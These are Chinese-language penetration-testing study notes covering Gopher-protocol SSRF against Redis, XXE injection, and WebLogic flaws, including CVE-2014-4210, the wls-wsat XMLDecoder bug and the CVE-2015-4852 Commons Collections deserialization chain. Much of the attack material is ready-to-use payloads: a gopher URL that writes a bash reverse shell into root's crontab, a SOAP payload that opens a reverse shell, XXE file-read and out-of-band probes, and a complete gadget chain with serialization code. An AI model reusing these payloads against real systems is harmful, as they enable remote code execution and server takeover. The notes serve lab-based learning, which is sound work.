      曾经应用广泛的信息查找系统,使用 70 端口,用来攻击 redis , mysql , fastcgi , smtp 等服务。

      又称万金油协议,通过该协议发送各种格式的请求包以绕过漏洞不在 GET 参数

      其格式为 gopher://host:port/gopher_path

      gopher 协议数据流中,url 编码使用 %0d%0a 替换回车换行,数据流末尾使用 %0d%0a 代表消息结束

      • 攻击 redis 服务

        redis 服务的协议数据流格式如下,其中 *[参数数量] , $[参数x的字节数量]

        1
        2
        3
        4
        5
        6
        7
        8
        9
        *3
        $6
        config
        $3
        set
        $3
        dir
        $13
        /var/www/html

        eg:redis 将反弹 shell 写入定时任务

        1
        2
        3
        4
        5
        set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
        config set dir /var/spool/cron
        config set dbfilename root
        save
        quite

        redis 格式如下

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        *3
        $3
        set
        $3
        ttt
        $69



        */1 * * * * bash -i >& /dev/tcp/ip/port 0>&1




        *4
        $6
        config
        $3
        set
        $3
        dir
        $16
        /var/spool/cron/
        *4
        $6
        config
        $3
        set
        $10
        dbfilename
        $4
        root
        *1
        $4
        save
        *1
        $4
        quit

        gopher 协议攻击,payload 如下

        1
        gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
      • Gopherus

        总是会有工具的,总会的

        其可以自动化构造 paylaod

        github地址

  • XXE 漏洞探索利用

    • XML 基础知识

      作为一种标记语言,标记电子文件使其具有结构性,其标准结构如下

      • 语法

        • 所有 XML 元素都有一个关闭标签
        • 标签对大小写敏感
        • 需要正确嵌套
        • XML 文档必须有根元素
        • XML 属性值必须加引号
        • <> 符号在 XML 中有特殊含义,所以用对应的 html 实体来表示,即 &lt &gt
        • 其空格会被保留,即 <p>a[space]b</p>
      • 文档结构

        • 元素

          XML 主要构建模块,可包含文本,其他元素,或空

          1
          <body> body text in between </body>
        • 属性

          提供有关元素的额外信息

          1
          <img src="computer.gif"/>

          src 即为元素 img 的属性

      • DTD :文档类型定义

        定义 XML 文档的合法构建模块,即说明哪些元素/属性合法以及应怎样嵌套

        可以内部声明或外部引用

        • 内部

          <!DOCTYPE 根元素 [元素声明]>

          1
          2
          3
          4
          <?xml version="1.0"?>
          <!DOCTYPE note [
          <!ELEMENT note (to,from,heading,body)> <!ELEMENT to(#PCDATA)> <!ELEMENT from(#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body(#PCDATA)>
          ]>

          内部声明,先定义了此文档为 note 类型。随后定义 note 类型有四个元素 to,from,heading,body

          随后将这四个元素定义为 #PCDATA 类型

        • 外部

          <!DOCTYPE 根元素 SYSTEM "文件名">

          1
          <!DOCTYPE note SYSTEM "note.dtd">

          note.dtd:

          1
          2
          3
          4
          5
          <!ELEMENT note (to,from,heading,body)>
          <!ELEMENT to (#PCDATA)>
          <!ELEMENT from (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMENT body (#PCDATA)>
    • XXE

      XML 外部实体注入,即 DTD 外部实体。而其的原因是在解析 XML 的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害

      然而在 libxml2.9.0 后,默认不解析外部实体,PHP 版本不影响 XXE 利用

      • 回显 XXE

        bwappXXE 模块为例

        抓包得到存在 xml ,尝试修改数据

        发现服务器会解析 xml 内容

        那么构造 payload 即可注入

        1
        2
        3
        <?xml version="1.0" encoding="utf-8" ?>
        <!DOCTYPE test[<!ENTITY bee SYSTEM "file:///c:/Users/Administrator/Desktop/flag.txt">]>
        <reset><login>&bee;</login><secret>Any bugs?</secret></reset>

        理论上说这能输出桌面的 flag 文件内容,但是笔者靶机这里出锅了复现失败,根据 githubxxe-2.php$xml 函数值也没有用

      • 无回显 XXE

        大多数条件下,XXE 并不会用于输出,所以要考虑将数据外带

        • 判断

          对于正常可以联网的靶机,我们可以使用以下操作来判断其是否存在 XXE ,借用 dnslog

          1
          2
          3
          <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE root [
          <!ENTITY % remote SYSTEM "http://noone.kerfmc.dnslog.cn">%remote;]>

          然后可以在网站中收到记录

        • 读取文件

          往往用 xml 来调用靶机以外的 xml 文件来攻击,以此避免过滤

  • Weblogic 系列

    • Weblogic 漏洞利用实践

      这里选用的是 Weblogic10.3.6 版本,这一版本漏洞最多,便于实验

      下载连接

      安装完成后可以在 Oracle\Middleware\user_projects\domains\base_domain 找到

      • 弱密码爆破

        很简单的部分,过程略了,但要求控制台关闭了用户控制

      • SSRF(CVE-2014-4210)

        ip:port/uddiexplorer 中,可以看到输入框,随便输点到 burp 里面看

        更改发送包中的数据,可以发现返回也随之改变

        尝试 ssrf ,让 operator 访问攻击机端口,并开端口监听

        可以验证其确实存在 ssrf 漏洞了

        • 端口扫描/内网主机扫描

          靶机:port 探测端口开放情况

          可以用脚本

          1. 主机存活且端口开放,会返回状态码。
          2. 开放端口但非 HTTP 协议则会返回 did not have a valid SOAP content-type: text/html
          3. 不存在的主机或端口时,返回 could not connect over HTTP to server

          如果知道了内网的更多信息,还可以做更多事,向定时计划中写入反弹 shell

          比如这篇文章,对于靶机内网存在 Redis 未授权漏洞的,可以用 ssrf 写入反弹 shell

      • XML 反序列化

        • 原理:

          WeblogicWLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML(SOAP协议)数据 ,在解析的过程中出现反序列化漏洞,导致任意代码执行。

          出问题的包是 wls-wsat_async

        • 演示

          ip:port/wls-wsat/ 下面的子目录,都是在 wls-wsat.war 里面 WEB-INF/web.xml 定义的 servlet

          1
          2
          3
          4
          5
          6
          7
          8
          /wls-wsat/CoordinatorPortType
          /wls-wsat/RegistrationPortTypeRPC
          /wls-wsat/ParticipantPortType
          /wls-wsat/RegistrationRequesterPortType
          /wls-wsat/CoordinatorPortType11
          /wls-wsat/RegistrationPortTypeRPC11
          /wls-wsat/ParticipantPortType11
          /wls-wsat/RegistrationRequesterPortType11

          这里以第一个为例

          先将数据包改成可以提交 xml 的样子:

          1. 改为POST 类型
          2. 加上 Content-Type: text/xml
          3. 构造 payload

            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>bash -i &gt;&amp; /dev/tcp/[ip]/[port] 0&gt;&amp;1</string></void>
            </array>
            <void method="start"></void>
            </object>
            </java>
            </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
            </soapenv:Envelope>

            攻击机上监听对应端口即可

        • 脚本

          这里找到写好的脚本

    • weblogic 反序列化深入

      • java 序列化(与反序列化)

        • 定义

          把对象的状态信息转换为字节序列,便于存储或传输

          字节序:多字节数据在内存或网络传输时各字节存储的顺序

        • 用途

          把对象字节序列永久保存到硬盘上,存放在文件里,便于恢复和保存用户会话 Sessions

          便于传输

          将内存中信息序列化后释放内存,减轻服务器压力,需要时再反序列化至内存中

        • 应用场景

          HTTP 实现多个平台间的通信和管理

          RMI 完全基于反序列化,java 开发分布式应用程序的 API ,实现不同操作系统程序的方法调用,默认端口 1099

          JMX 可以在任何 java 程序中使用标准的代理服务和管理

        • 实例

          ObjectOutputStream 类的 writeObject() 实现序列化

          ObjectInputStream 类的 readObject() 实现反序列化

        • 样例

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          public static void main(String args[]) throws Exception{
          String obj="hello world!";

          //序列化对象写入文件 object.db
          FileOutputStream fos=new FileOutputStream("object.db");
          ObjectOutputStream os=new ObjectOutputStream(fos);
          os.writeObject(obj);
          os.close();

          //从object.db读取数据
          FileInputStream fis=new FileInputStream("object.db");
          ObjectInputStream ois=new ObjectInputStream(fis);

          //反序列化恢复对象obj
          String obj2=(String)ois.readObject();
          ois.close();
          }

          其序列化后文件特点是文件头 16 进制下为 AC ED 00 05 ; base64rO0AB

          但这段代码在实际使用中是存在问题的,因为没有对用户输入进行过滤,在 FileInputStream 的反序列化过程中,通过构造恶意代码可以进行攻击

        • Apache Commons Collections

          其中有一个特殊接口类 Invoker Transformer ,其可以调用 java 反射机制来调用任意函数

          • 反射机制特点

            可以判断对象所属的类,知道类所有的方法和属性,能够调用任意方法和属性

    • weblogic 反序列化深入(二)

      视频讲的不是很清楚,我这里细化写了一下,也可以移步我的博客看看

      • JAVA 基础

        学个基础先

        • java 的面向对象编程

          或许可以类比为一个 struct

          我们以一个手机为例,手机作为整体即是一个对象

          1
          public class phone{}

          而手机所具有的特点即是其属性

          1
          2
          3
          4
          public class phone{
          public String name;
          public double weight;
          }

          而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器

          1
          2
          3
          4
          5
          6
          7
          8
          9
          public class phone{
          public String name;
          public double weight;
          public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
          public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
          this.name=name;
          this.weight=weight;
          }
          }

          再随意写入一个函数

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          package test1;
          public class phone{
          public String name;
          public double weight;
          public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
          public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
          this.name=name;
          this.weight=weight;
          }
          public void start(){
          System.*out*.println("Power on");
          }
          }

          如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类

          1
          2
          3
          4
          5
          public class test{
          public static void main(String[] args){
          phone p=new phone();//new一个名为p,类型为phone的对象
          }
          }
        • java 反射机制

          • 正射

            通常来说,我们在实例化一个类时,我们需要知道其类型 phone ,才能写出实例化代码

            1
            phone p=phone();
          • 反射

            顾名思义,我们可以借助函数来得到对象 p 的类 phone ,再用函数进一步操作类的私有属性

            • 获取类

              .getclass()

              如果上文中存在所需类的某个实例 p ,那么可以调用 p.getClass() 来获取其的类

              .class

              调用类的 class 属性可获取该类对应的对象,即使用 phone.class

              .forname()

              使用了 class 类中的静态方法

              1
              2
              3
              4
              phone p=new phone();
              Class class1=p.getClass();
              Class class2=phone.class;
              Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名

            • 类的函数

              获取想要操作的类的 Class 对象 class1 后,通过 Class 类的函数可以查看该类的信息并进行操作

              实例化对象 Object 获取

              1
              2
              3
              4
              Object p1=class1.newInstance();
              //或者
              Constuctor cons=class1.getConstructor();
              Object p2=cons.newInstancec();

              两者区别在于,后者可以用来调用含参数的构造器。newInstance 函数需要类中存在无参构造器,当不存在时,只能用后者

              1
              2
              Constructor cons=class1.getConstructor(String.class,double.class);
              Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值

              类的构造器 Constructor 获取

              1
              2
              3
              4
              5
              6
              7
              8
              //获取public构造器
              Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
              //获取全部public构造器
              Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
              //获取public与private类型的构造器
              Constructor cons=class1.getDeclaredConstructor();
              //获取全部构造器
              Constructor[] cons=class1.getDeclaredConstructors();

              获取属性 field

              1
              2
              3
              4
              5
              //同上,获取的是public/全部属性
              Field f=class1.getField("name");
              Field f2=class1.getDeclaredField("name");
              Field[] f3=class1.getFields();
              Field[] f4=class1.geDeclaredFields();

              获取方法 Methods

              1
              2
              3
              //继续同上
              Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
              //剩下的略
          • Runtime

            java 中的一个系统类,通常写作 java.lang.Runtime ,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:

            1
            exec(String cmd); //在单独的进程中执行指定的命令或程序。

            这个明显可以用来命令执行,利用反射弹个 calc

            1
            2
            3
            4
            5
            6
            Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
            Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
            constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
            Method m = p.getMethod("exec", String.class); // 获取exec方法
            Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
            m.invoke(o, "calc"); // 调用exec方法,执行calc命令
        • 基于反射的 invoke 方法

          对于一般的对象 A ,我们常使用 A.getA() 来调用其 getA() 方法

          invoke 采取一种新的调用方式:

          构建一个 Method 对象 methodA ,给其所需要的对象和参数以用其代替你要使用的方法

          也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法

        • 注解与元注解

          注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。

          其可以用于类,方法,字段等元素上,例:

          1
          2
          3
          4
          @Deprecated
          public void oldMethod{
          ...
          }

          标记了一个过时的方法,在接下来的代码中,若有使用 oldMethod 的代码,编译器会给出警告

          1
          2
          3
          4
          @SuppressWarnings("unchecked")
          public void someMethod() {
          ...
          }

          使编译器不给出警告信息

          元注解则是注解的注解,以马上要用到的 @Target 为例,其用于指定注解可以应用的元素类型(方法/类/等)

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          @Target(ElementType.METHOD)
          public @interface MyAnnotation{
          //关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
          }
          @Target(ElementType.TYPE)
          public @interface MyClassAnnotation{
          //类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
          }
          @MyClassAnnotation
          public class myclass{
          @MyAnnotation
          public void MyMethod{
          ...
          }
          }
          • 语法糖

            当注解中只有一个成员变量,并且该成员名称为 value 时,可以用 value 语法糖简化注解使用:

            1
            2
            3
            4
            5
            6
            7
            public @interface MyAnnotation{
            string value();
            }
            @MyAnnotation("hello")
            public class MyClass{
            ...
            }

            自定义注解 MyAnnotation 中只有 value 一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将 hello 作为值传给 value 成员变量

            再看一个跟这个题目有关的:

            1
            2
            3
            4
            5
            6
            7
            8
            @Target(ElementType.ANNOTATION_TYPE)
            public @interface Target {
            ElementType[] value() default {};
            }
            @Target({ElementType.TYPE, ElementType.FIELD})
            public @interface MyAnnotation {
            ...
            }

            第一个 Target 规定了第二个 Target 能注解的变量类型,且其存在名为 value 的数组中

            第二段语句 Target 的参数即在 value 中,规定了 MyAnnotation 只能注解 Element.TYPEElement.FIELD

      • CVE-2015-4852 漏洞原理浅析

        • 环境搭建

          • docker

            笔者使用的是 Ubutun+docker 。在 vulhub/weblogic 下新建一个名为 CVE-2015-4852 的文件夹方便操作,然后写入以下配置文件

            docker-compose.yml

            1
            2
            3
            4
            5
            6
            7
            version: '2'
            services:
            weblogic:
            build: .
            ports:
            - "7001:7001"
            - "8453:8453"

            DockerFile

            1
            2
            3
            4
            5
            6
            7
            8
            from vulhub/weblogic:10.3.6.0-2017

            ENV debugFlag true

            EXPOSE 7001
            EXPOSE 8453

            CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]

            随后更新 docker-compose up -d ,用 docker exec -it [docker_id] bash 进入 docker 目录修改 ~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

            在其前方加入

            1
            2
            debugFlag="true"
            export debugFlag

            随后重启容器,并把容器目录下的 root 复制出来

            1
            docker cp [docker_id]:/root [your_path]

            后传到你的主机上

          • idea

            idea 打开 /root/Oracle/Middleware/wlserver_10.3

            然后去 Project structure-Libraries 添加 /server/modules 文件夹以及 /wlserver_10.3/server/lib/weblogic.jar 以进行反编译

            再去 Project structure-Project jdk 选择刚刚拷出来的 jdk

            然后去右上角 add Configuration 加入 remote 服务器,如果刚刚配置的时候没有改调试端口的话这里是 8453

            最后去 /wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class 的第 129 行下断点,运行 debug

            访问网站 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

            看看是否被断下

        • 利用链分析

          • 前言

            反序列化攻击的实现,往往需要将 payload 构造为多层的 exp 进入服务端的 readobject 函数,其会反序列化恢复构造的 exp 来生成 exp' ,在接下来的流程中存在可以执行 exp' 类的方法,不断处理得到最终的 payload ,最后其进入可执行任意命令的函数

            也就是说,我们需要构造以下:

            1. 朴素的 payload ,即需要服务器执行的代码
            2. 一条反序列化链,沿着这条链可以逐渐解码包裹起来的 payload
            3. readObject 重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
          • 反序列化链构造

            将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。

            • 段 $1$

              我们最终的目的是命令执行,即调用 exec() 函数

              这里主要使用的是 InvokerTransformer 类及其 transform 方法

              注意到 transform 方法会用反射机制调用输入的 inputmethod 函数,而 Invokertransform 类的三个参数全部可由输入控制

              所以只要控制 transform 方法的 input 变量是一个 RuntimeClass 实例,就可以成功调用即执行了 Runtime.getRuntime().exec("calc");

              写一个实验如下:

              1
              2
              3
              4
              5
              6
              7
              8
              import org.apache.commons.collections4.functors.InvokerTransformer;

              public class InvokerTransformerTest{
              public static void main(String[] args){
              InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
              InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
              }
              }

              对于新学 java 的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用 extentsion pack for java ,然后在 JAVA PROJECT 下面的 Referenced Libraries 添加下载的库。注意引入库的版本要和下载的对应

              但不幸的是,CC 里面并不能直接使用 InvokerTransformer.transform ,也就是说得不到 RunTime 类,那么现在需要找到利用链的上一级,其需要调用该方法

              这里就需要 ChainedTransformer

              CC4 (上) 可能和网上常见的 CC3 (下) 不太一样,但理解成正常 for 循环和用 auto 的循环就行

              这个类以一个 Transformer 数组为变量,其 transform 方法是对每个 Transformer 调用其自己的 transform 方法

              但注意最开始传入的参数 object 会被其迭代,这对链的构造十分有利

              现在我们解决的 transform 方法的问题,getRunTime 可以由 RunTime 类获取。回顾我们需要构造的链 Runtime.getRuntime().exec("calc"); 。只要获取到 RunTime 类就可以完成段 $1$ 的构造

              但是 RunTime 对象不能像普通对象一样直接声明,那么就需要性质很好的 ConstantTransformer

              transform 方法返回值都是 iConstant

              那么只要让一个 RunTime 类为 iConstant 即可得到 RunTime 类,再结合刚刚的 ChainedTransformer 就可以获取到链的第一截 RunTime ,然后去 InvokerTransformertransform 方法调用 getMethod() 得到第二截 getRunTime() ,最后再用其调用 exec() 即能得到整条链

              由于 ChainedTransformer 参数 object 的优秀迭代机制,只需要让另外几个以此放在 Transform[] 类数组里面即可

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              15
              16
              17
              18
              import org.apache.commons.collections4.functors.ChainedTransformer;
              import org.apache.commons.collections4.functors.ConstantTransformer;
              import org.apache.commons.collections4.functors.InvokerTransformer;
              import org.apache.commons.collections4.Transformer;

              public class test_part1 {
              public static void main(String[] args) throws Exception {
              Transformer[] transformers_exec=new Transformer[]{
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
              };

              Transformer chain=new ChainedTransformer(transformers_exec);
              chain.transform(1);
              }
              }

              如此就成功构造出了链的第一部分 Runtime.getRuntime.exec("calc")

              回顾一下调用栈

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
              Method.invoke()
              Class.getMethod()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.getRuntime()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.exec()

              那么我们现在只需要找到一处调用了 ConstantTransformer.transform 的地方即可。由于其所需参数任意,所以这里分为第一段

            • 段 $2$

              一般来说是找不到严格相同的 ConstantTransformer.transform ,但我们退而求其次,找 xxx.transform 方法,且 xxx 可被赋值为 ConstantTransformer 类型对象

              根据资料,这里有两条路可以走:TransformedMapLazyMap ,但顾名思义,我懒,所以没有 LazyMap 的笔记

              其中这三个函数调用了其 transform 方法,也就是构造 valueTransformerkeyTransformer 为刚刚构造的 ChainedTransformer 类型对象,然后触发这三个函数来触发 trnsform 方法即可。需要分两步:先赋值,再调用

              但实际上只能让 valueTransformer 为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题

              但这几个方法都是 protected ,也就是无法从外部访问。那么考虑找 public 类型入手:

              transformedMap 类型:

              transformingMap 方法则是可以调用构造函数赋值内部参数

              如果是 CC3 版本的话,这里是 decorate 方法

              可以发现构造方法 transformingMap 需要满足的条件是第一个参数是 Map 类型,那么随便建一个 map 就行,如此就赋值成功了

              1
              2
              3
              HashMap tmpMap=new HashMap();
              tmpMap.put("nothinghere","qwq");
              Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer

              中途可以验证一下

              找到一个性质很好的 put 方法,其可以从外部访问且能调用上面三个隐私函数之一的 transformKey

              transformKey 可知,只要参数 KeyTransformer 不为空即可调用 transform 方法,那么随便传几个进去试试:

              1
              ChainMap.put("justfor","test");

              成功调出计算器,也就是赋值操作是没问题的,

              那么接下来考虑如何让系统自动触发 Map 类型中 valueTransformer 参数 transform 方法(即刚刚构造的链条所在位置),即调用 valueTransformer.transform() ,显然这里的参数无关紧要

              所以最后要落脚到一个读入数据后主动触发的类,即 ReadObject

              先搜索找到调用函数 checkSetValue

              点进去看下谁能调用它:

              到其父类 AbstractInputCheckedMapDecorator

              也就是现在需要一个 Map.entry 类且需要调用 Map.entry.setValue() 参数依旧不重要

              还是经典的赋值+调用

              先看赋值,要将原来的 TransformedMap 类转为 Map.Entry

              TransformedMap 也是 MapMap.entry 是一个键对值 <key,value> 的集合

              也就是从 Map 中提取键对值的方法用在 TransformedMap 上,并将其赋值给 Map.entry 即可,顺便手动调用一下 SetValue 方法试一下

              1
              2
              Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
              entry.setValue("qwq");

              在这里分个段清晰一些,回顾一下反序列化链;

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              Map.entry.setValue()
              TransformedMap.put()
              ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
              Method.invoke()
              Class.getMethod()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.getRuntime()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.exec()
            • 段 $3$

              在开始前,确保版本为 jdk1.6

              因为这里使用 AnnotationInvocationHandler 类来解决调用函数的问题,其在 jdk1.8 被重写了

              它在 JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler

              观察到 var5 存在 setvalue() 方法的调用,恰巧的是,其构造过程与上面的 entry 一模一样:

              1
              2
              Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
              var5=this.memberValue.entrySet().iterator().next();

              那么 payload 转而写成:

              1
              2
              3
              4
              5
              //Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
              Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
              Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
              ctor.setAccessible(true);//取消构造函数修饰符限制
              Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例

              而前面定义的 memberValues 恰好是 map 类型,将其赋值成 transformedMap 即可满足 var5 即是 entry

              但想进到判断里还需要满足几个条件:

              transformedMap 非空:var4.hasNext() 检查了 memberValuesEntrySet 的迭代器

              var7!=null : var7 的生成过程比较复杂,上面已经标出来了

              这里需要注意的是 var2 的生成过程 AnnotationType.getInstance(this.type)this.type 即是上面传进去的 Target.class

              var7 非空是很难构造的。而这个涉及到 java 的注解与 value 语法糖,最上面有写,跳到上面看一下再回来

              1
              var2 = AnnotationType.getInstance(this.type);

              getInstance 得到我们传进去的注解的基本信息,这里就以传进去了 Target.class 为例:

              1
              Map var3 = var2.memberTypes();

              memberType 得到注解中的成员变量,其返回值为 Map 类型,键为成员变量名称,值为成员变量类型

              这个时候选择传入 this.typeTarget.class 的原因就能看出来了:看 java.lang.annotation.Target 的定义:

              1
              2
              3
              4
              5
              6
              @Documented//会被写入javadoc文档
              @Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
              @Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
              public @interface Target {
              ElementType[] value();//value语法糖
              }

              也就是说,对于 Target 注解,其成员变量名称总为 value

              那么 var3 即为键值对 <value,[ElementType]>

              1
              Class var7 = (Class)var3.get(var6);

              这时候再来看 var7 的生成式,只需要满足 var6 中有 Map 的键为 value ,值任意即可

              var6 的来源回溯上去,即是让 tmpmap 中存有键为 value 即可

              就是将

              1
              2
              HashMap tmpMap=new HashMap();
              tmpMap.put("nothinghere","qwq");

              改为

              1
              2
              HashMap tmpMap=new HashMap();
              tmpMap.put("value","qwq");

              至此利用链完毕,回顾一下整条链子:

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              AnnotationInvocationHandler.readObject()
              Map.entry.setValue()
              TransformedMap.put()
              ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
              Method.invoke()
              Class.getMethod()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.getRuntime()
              InvokerTransformer.transform()
              Method.invoke()
              Runtime.exec()

              payload

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              15
              16
              17
              18
              19
              20
              21
              22
              23
              24
              25
              26
              27
              28
              29
              30
              31
              32
              33
              34
              35
              import org.apache.commons.collections4.*;
              import org.apache.commons.collections4.functors.ChainedTransformer;
              import org.apache.commons.collections4.functors.ConstantTransformer;
              import org.apache.commons.collections4.functors.InvokerTransformer;
              import org.apache.commons.collections4.map.TransformedMap;

              import java.lang.annotation.Target;
              import java.lang.reflect.Constructor;
              import java.util.HashMap;
              import java.util.Map;

              import org.apache.commons.collections4.Transformer;

              public class test_part1 {
              public static void main(String[] args) throws Exception {
              Transformer[] transformers_exec = new Transformer[]{
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
              };
              Transformer chain = new ChainedTransformer(transformers_exec);
              // chain.transform(1);
              HashMap tmpMap=new HashMap();
              tmpMap.put("value","qwq");
              Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
              // ChainMap.put("justfor","test");
              // Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
              // entry.setValue("qwq");
              Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
              Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
              ctor.setAccessible(true);
              Object instance = ctor.newInstance(Target.class, ChainMap);
              }
              }
          • 上传

            可以加上这段代码在本地模拟上传试一下:

            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            //payload序列化写入文件,模拟网络传输
            FileOutputStream f = new FileOutputStream("payload.bin");
            ObjectOutputStream fout = new ObjectOutputStream(f);
            fout.writeObject(instance);

            //服务端读取文件,反序列化,模拟网络传输
            FileInputStream fi = new FileInputStream("payload.bin");
            ObjectInputStream fin = new ObjectInputStream(fi);

            //服务端反序列化
            fin.readObject();
            • T3协议分析

              python 模拟握手包的发包,wireshark 抓一下,追踪 TCP

              1
              2
              3
              4
              5
              6
              7
              8
              9
              10
              11
              12
              13
              14
              15
              16
              import socket

              def T3Test(ip,port):
              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              sock.connect((ip, port))
              handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
              sock.sendall(handshake.encode())
              while True:
              data = sock.recv(1024)
              print(data.decode())

              if __name__ == "__main__":
              ip = "192.168.19.131"
              port = 7001

              T3Test(ip,port)

              再看一下网上的资料,握手包结束后是序列化的 java 数据流

              前面提到过 aced 0005 是序列化的标志,那么为了执行 payload ,抓下协议包,将数据改为构造的 payload 即可

      • CVE-2016-0638 浅析